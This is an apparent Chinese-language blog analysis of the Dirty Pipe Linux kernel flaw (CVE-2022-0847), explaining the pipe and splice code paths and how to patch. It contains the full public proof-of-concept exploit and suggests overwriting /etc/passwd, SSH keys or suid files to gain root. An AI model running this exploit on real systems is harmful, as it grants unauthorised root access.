CVE-2022-0847 Dirty Pipe linux内核提权分析

本文首发于华为安全公众号，这是博客版(比较完整)

首发链接:https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg

github地址： chenaotian/CVE-2022-0847

漏洞简介

漏洞编号: CVE-2022-0847 (别名: 脏管道dirty pipe)

漏洞产品: linux kernel - splice syscall

影响版本: linux 5.8 补丁 f6dd975583bd 引入~ 5.16.11、5.15.25、5.10.102 修复

漏洞危害: 对任意可读文件写不超过一页的内容(足够了)，可本地提权。

环境搭建

漏洞分析docker：chenaotian/cve-2022-0847 (如果还访问不了那就是我还没做好传上去)

提供了：

• 编译的有漏洞的可调式内核5.13
• qemu 、gdb、linux 内核5.13源码
• exp

启动：

cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../ 
./boot.sh

调试：

gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe 
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

漏洞原理

漏洞简要原理是，调用splice 函数可以通过"零拷贝"的形式将文件发送到pipe，代码层面的零拷贝是直接将文件缓存页(page cache)作为pipe 的buf页使用。但这里引入了一个变量未初始化漏洞，导致文件缓存页会在后续pipe 通道中被当成普通pipe缓存页而被"续写"进而被篡改。然而，在这种情况下，内核并不会将这个缓存页判定为"脏页"，短时间内(到下次重启之类的)不会刷新到磁盘。在这段时间内所有访问该文件的场景都将使用被篡改的文件缓存页，也就达成了一个"短时间内对任意可读文件任意写"的操作。可以完成本地提权。

漏洞发生点

根据补丁，漏洞发生点位于copy_page_to_iter_pipe 函数，增加了对buf->flags的初始化操作，所以这是一个变量未初始化漏洞。

copy_page_to_iter_pipe 的调用点出现在 splice 系统调用之中。splice 函数(系统调用)通过一种"零拷贝"的方法将文件内容输送到管道之中。相比传统的直接将文件内容送入管道性能更好。具体在下文介绍。

pipe原理与pipe_write

首先，漏洞别名脏管道，先了解一下管道(pipe)。pipe 是内核提供的一个通信管道，通过pipe/pipe2 函数创建，返回两个文件描述符，一个用于发送数据，另一个用于接受数据，类似管道的两段，具体使用不多bb。

简单说一下在内核中的实现，通常pipe 缓存空间总长度65536 字节用页的形式进行管理，总共16页(一页4096字节)，页面之间并不连续，而是通过数组进行管理，形成一个环形链表。维护两个链表指针，一个用来写(pipe->head)，一个用来读(pipe->tail)，这里主要分析一下pipe_write 函数：

linux-5.13\fs\pipe.c : 400 : pipe_write

static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{struct file *filp = iocb->ki_filp;struct pipe_inode_info *pipe = filp->private_data;unsigned int head;ssize_t ret = 0;size_t total_len = iov_iter_count(from);ssize_t chars;bool was_empty = false;bool wake_next_writer = false;··· ······ ···head = pipe->head;was_empty = pipe_empty(head, pipe->tail);chars = total_len & (PAGE_SIZE-1);if (chars && !was_empty) { //[1]pipe 缓存不为空，则尝试是否能从当前最后一页"接着"写unsigned int mask = pipe->ring_size - 1;struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];int offset = buf->offset + buf->len; if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&offset + chars <= PAGE_SIZE) { /*[2]关键，如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在，代表该页允许接着写*如果写入长度不会跨页，则接着写，否则直接另起一页 */ret = pipe_buf_confirm(pipe, buf);···ret = copy_page_from_iter(buf->page, offset, chars, from);···}buf->len += ret;···}}for (;;) {//[3]如果上一页没法接着写，则重新起一页··· ···head = pipe->head;if (!pipe_full(head, pipe->tail, pipe->max_usage)) {unsigned int mask = pipe->ring_size - 1;struct pipe_buffer *buf = &pipe->bufs[head & mask];struct page *page = pipe->tmp_page;int copied;if (!page) {//[4]重新申请一个新页page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);if (unlikely(!page)) {ret = ret ? : -ENOMEM;break;}pipe->tmp_page = page;}spin_lock_irq(&pipe->rd_wait.lock);head = pipe->head;··· ···pipe->head = head + 1;spin_unlock_irq(&pipe->rd_wait.lock);/* Insert it into the buffer array */buf = &pipe->bufs[head & mask];buf->page = page;//[5]将新申请的页放到页数组中buf->ops = &anon_pipe_buf_ops;buf->offset = 0;buf->len = 0;if (is_packetized(filp))buf->flags = PIPE_BUF_FLAG_PACKET;elsebuf->flags = PIPE_BUF_FLAG_CAN_MERGE;//[6]设置flag，默认PIPE_BUF_FLAG_CAN_MERGEpipe->tmp_page = NULL;copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); //[7]拷贝操作··· ···ret += copied;buf->offset = 0;buf->len = copied;··· ···}··· ···}··· ···return ret;
}

1. 如果当前管道(pipe)中不为空(head==tail判定为空管道)，则说明现在管道中有未被读取的数据，则获取head 指针，也就是指向最新的用来写的页，查看该页的len、offset(为了找到数据结尾)。接下来尝试在当前页面续写
2. 判断 当前页面是否带有 PIPE_BUF_FLAG_CAN_MERGE flag标记，如果不存在则不允许在当前页面续写。或当前写入的数据拼接在之前的数据后面长度超过一页(即写入操作跨页)，如果跨页，则无法续写。
3. 如果无法在上一页续写，则另起一页
4. alloc_page 申请一个新的页
5. 将新的页放在数组最前面(可能会替换掉原有页面)，初始化值。
6. buf->flag 默认初始化为PIPE_BUF_FLAG_CAN_MERGE ，因为默认状态是允许页可以续写的。
7. 拷贝写入的数据，没拷贝完重复上述操作。

漏洞利用的关键就是在splice 中未被初始化的PIPE_BUF_FLAG_CAN_MERGE flag标记，这代表我们能否在一个"没写完"的pipe 页续写。

splice到copy_page_to_iter_pipe

上面提到了，pipe 就是通过管理16 个页来作为缓存。splice 的零拷贝方法就是，直接用文件缓存页来替换pipe 中的缓存页(更改pipe缓存页指针指向文件缓存页)。

splice 系统调用到漏洞函数copy_page_to_iter_pipe 调用栈很深，具体不详细分析，调用栈如下：

• SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
  • splice_file_to_pipe -> do_splice_to
    • generic_file_splice_read(in->f_op->splice_read 默认为 generic_file_splice_read)
      • call_read_iter -> filemap_read
        • copy_page_to_iter -> copy_page_to_iter_pipe

漏洞所在的copy_page_to_iter_pipe 函数主要做的工作就是将pipe 缓存页结构指向要传输的文件的文件缓存页：

linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe

static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,struct iov_iter *i)
{struct pipe_inode_info *pipe = i->pipe;struct pipe_buffer *buf;unsigned int p_tail = pipe->tail;unsigned int p_mask = pipe->ring_size - 1;unsigned int i_head = i->head;size_t off;··· ···off = i->iov_offset;buf = &pipe->bufs[i_head & p_mask];//[1]获取对应的pipe 缓存页··· ···buf->ops = &page_cache_pipe_buf_ops;//[2]修改pipe 缓存页的相关信息指向文件缓存页get_page(page);buf->page = page;//[2]页指针指向了文件缓存页buf->offset = offset;//[2]offset len 等设置为当前信息(通过splice 传入参数决定)buf->len = bytes;pipe->head = i_head + 1;i->iov_offset = offset + bytes;i->head = i_head;
out:i->count -= bytes;return bytes;
}

1. 首先根据pipe 页数组环形结构，找到当前写指针(pipe->head) 位置
2. 将当前需要写入的页指向准备好的文件缓存页，并设置其他信息，比如len 是由splice 系统调用的传入参数决定的。这里唯独没有初始化flag，造成漏洞。

一般初始化完pipe->bufs长这样：

这时根据上面分析过的pipe_write 代码，如果重新调用pipe_write 向pipe 中写数据，写指针(pipe->head) 指向上图中的页，flag 为 PIPE_BUF_FLAG_CAN_MERGE ，则会认为可以接着该页继续写，只要写入长度不跨页：

#define PIPE_BUF_FLAG_CAN_MERGE	0x10	/* can merge buffers */if (chars && !was_empty) { //[1]pipe 缓存不为空，则尝试是否能从当前最后一页"接着"写unsigned int mask = pipe->ring_size - 1;struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];int offset = buf->offset + buf->len; if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&offset + chars <= PAGE_SIZE) { /*[2]关键，如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在，代表该页允许接着写*如果写入长度不会跨页，则接着写，否则直接另起一页 */ret = pipe_buf_confirm(pipe, buf);···ret = copy_page_from_iter(buf->page, offset, chars, from);

linux 内核page cache机制

linux 通过将打开的文件放到缓存页之中，缓存页被使用过后也会保存一段时间避免不必要的IO操作。短时间内访问同一个文件，都会操作相同的文件缓存页，而不是反复打开。而我们通过该方法篡改了这个文件缓存页，则短时间内访问(读取)该文件的操作都会读到被我们篡改的文件缓存页上，完成利用。

漏洞利用

上面已经描述过了，漏洞利用过程非常简单，看懂漏洞原理即可利用。根据作者的操作，大概分为以下几步：

1. 创建一个管道
2. 将管道填充满(通过pipe_write)，这样所有的buf(pipe 缓存页)都初始化过了，flag 默认初始化为PIPE_BUF_FLAG_CAN_MERGE
3. 将管道清空(通过pipe_read)，这样通过splice 系统调用传送文件的时候就会使用原有的初始化过的buf结构。
4. 调用splice 函数将想要篡改的文件传送入
5. 继续向pipe写入内容(pipe_write)，这时就会覆盖到文件缓存页了，完成暂时文件篡改。

细节调试

第二步结束，管道填满又清空之后，可以看到bufs 结构中就是接下来未初始化内容要复用的数据：

p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

splice 之后文件传入之后，变为，其中flag 未被初始化，并且这里len 要设置的尽量小，因为越小我们后续"续写"时能写的长度就越长，这里设置为1，偏移为我们想要篡改的起始地址，这里会将pipe->bufs->page 指针指向起始地址:

splice(fd, &offset, p[1], NULL, 1, 0);

再一次pipe_write，满足续写条件，直接在页面续写：

exp

不是我写的，漏洞披露之中的：

/* SPDX-License-Identifier: GPL-2.0 */
/** Copyright 2022 CM4all GmbH / IONOS SE** author: Max Kellermann <max.kellermann@ionos.com>** Proof-of-concept exploit for the Dirty Pipe* vulnerability (CVE-2022-0847) caused by an uninitialized* "pipe_buffer.flags" variable.  It demonstrates how to overwrite any* file contents in the page cache, even if the file is not permitted* to be written, immutable or on a read-only mount.** This exploit requires Linux 5.8 or later; the code path was made* reachable by commit f6dd975583bd ("pipe: merge* anon_pipe_buf*_ops").  The commit did not introduce the bug, it was* there before, it just provided an easy way to exploit it.** There are two major limitations of this exploit: the offset cannot* be on a page boundary (it needs to write one byte before the offset* to add a reference to this page to the pipe), and the write cannot* cross a page boundary.** Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'** Further explanation: https://dirtypipe.cm4all.com/*/#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif/*** Create a pipe where all "bufs" on the pipe_inode_info ring have the* PIPE_BUF_FLAG_CAN_MERGE flag set.*/
static void prepare_pipe(int p[2])
{if (pipe(p)) abort();const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);static char buffer[4096];/* fill the pipe completely; each pipe_buffer will now havethe PIPE_BUF_FLAG_CAN_MERGE flag */for (unsigned r = pipe_size; r > 0;) {unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;write(p[1], buffer, n);r -= n;}/* drain the pipe, freeing all pipe_buffer instances (butleaving the flags initialized) */for (unsigned r = pipe_size; r > 0;) {unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;read(p[0], buffer, n);r -= n;}/* the pipe is now empty, and if somebody adds a newpipe_buffer without initializing its "flags", the bufferwill be mergeable */
}int main(int argc, char **argv)
{if (argc != 4) {fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);return EXIT_FAILURE;}/* dumb command-line argument parser */const char *const path = argv[1];loff_t offset = strtoul(argv[2], NULL, 0);const char *const data = argv[3];const size_t data_size = strlen(data);if (offset % PAGE_SIZE == 0) {fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");return EXIT_FAILURE;}const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;const loff_t end_offset = offset + (loff_t)data_size;if (end_offset > next_page) {fprintf(stderr, "Sorry, cannot write across a page boundary\n");return EXIT_FAILURE;}/* open the input file and validate the specified offset */const int fd = open(path, O_RDONLY); // yes, read-only! :-)if (fd < 0) {perror("open failed");return EXIT_FAILURE;}struct stat st;if (fstat(fd, &st)) {perror("stat failed");return EXIT_FAILURE;}if (offset > st.st_size) {fprintf(stderr, "Offset is not inside the file\n");return EXIT_FAILURE;}if (end_offset > st.st_size) {fprintf(stderr, "Sorry, cannot enlarge the file\n");return EXIT_FAILURE;}/* create the pipe with all flags initialized withPIPE_BUF_FLAG_CAN_MERGE */int p[2];prepare_pipe(p);/* splice one byte from before the specified offset into thepipe; this will add a reference to the page cache, butsince copy_page_to_iter_pipe() does not initialize the"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */--offset;ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);if (nbytes < 0) {perror("splice failed");return EXIT_FAILURE;}if (nbytes == 0) {fprintf(stderr, "short splice\n");return EXIT_FAILURE;}/* the following write will not create a new pipe_buffer, butwill instead write into the page cache, because of thePIPE_BUF_FLAG_CAN_MERGE flag */nbytes = write(p[1], data, data_size);if (nbytes < 0) {perror("write failed");return EXIT_FAILURE;}if ((size_t)nbytes < data_size) {fprintf(stderr, "short write\n");return EXIT_FAILURE;}printf("It worked!\n");return EXIT_SUCCESS;
}

提权成功：

gcc exp.c -o exp --static
./exp file offset string

目前是演示了任意文件写的效果，具体利用可以修改/etc/passwd、或者sshkey 或者一些suid 文件之类的完成实际提权。这里不实际操作了(反正我又不去渗透)。

一些小限制(无伤大雅)

1. 无法改变文件大小(无法让文件更大)
2. 单次写入长度不能超过一页(4k)

缓解措施

建议方案

由于是内核漏洞，暂无很好的处置方案，建议升级内核到修复的版本: 5.16.11、5.15.25、5.10.102及以上。

漏洞验证(工具)

根据漏洞披露者发布的POC，写了一个简单的验证工具。存在漏洞输出"There is CVE-2022-0847"：

不存在漏洞输出"You are safe!"。

参考

漏洞披露：https://dirtypipe.cm4all.com/

阴谋论

PIPE_BUF_FLAG_CAN_MERGE 这个flag 总共就出现了5次，一次#define 声明，两次在pipe_write 里。剩下两次都在splice 之中：

而且根据这个变量参与的代码可知，这个变量的意义就是是否允许在当前最新pipe 缓存页中续写；一般pipe 自己申请的页，就是个普通页，续写就续写很正常。什么情况不能续写，那就是这个页不是你pipe 自己申请的页，你不可以随便改。所以由目前的状况来看，几乎也就splice 中涉及到了非pipe 自己申请的页。换言之，PIPE_BUF_FLAG_CAN_MERGE 这个flag 就是为splice 设计的。然后你告诉我你不初始化的吗？

所以我怀疑这漏洞，根本不是马虎…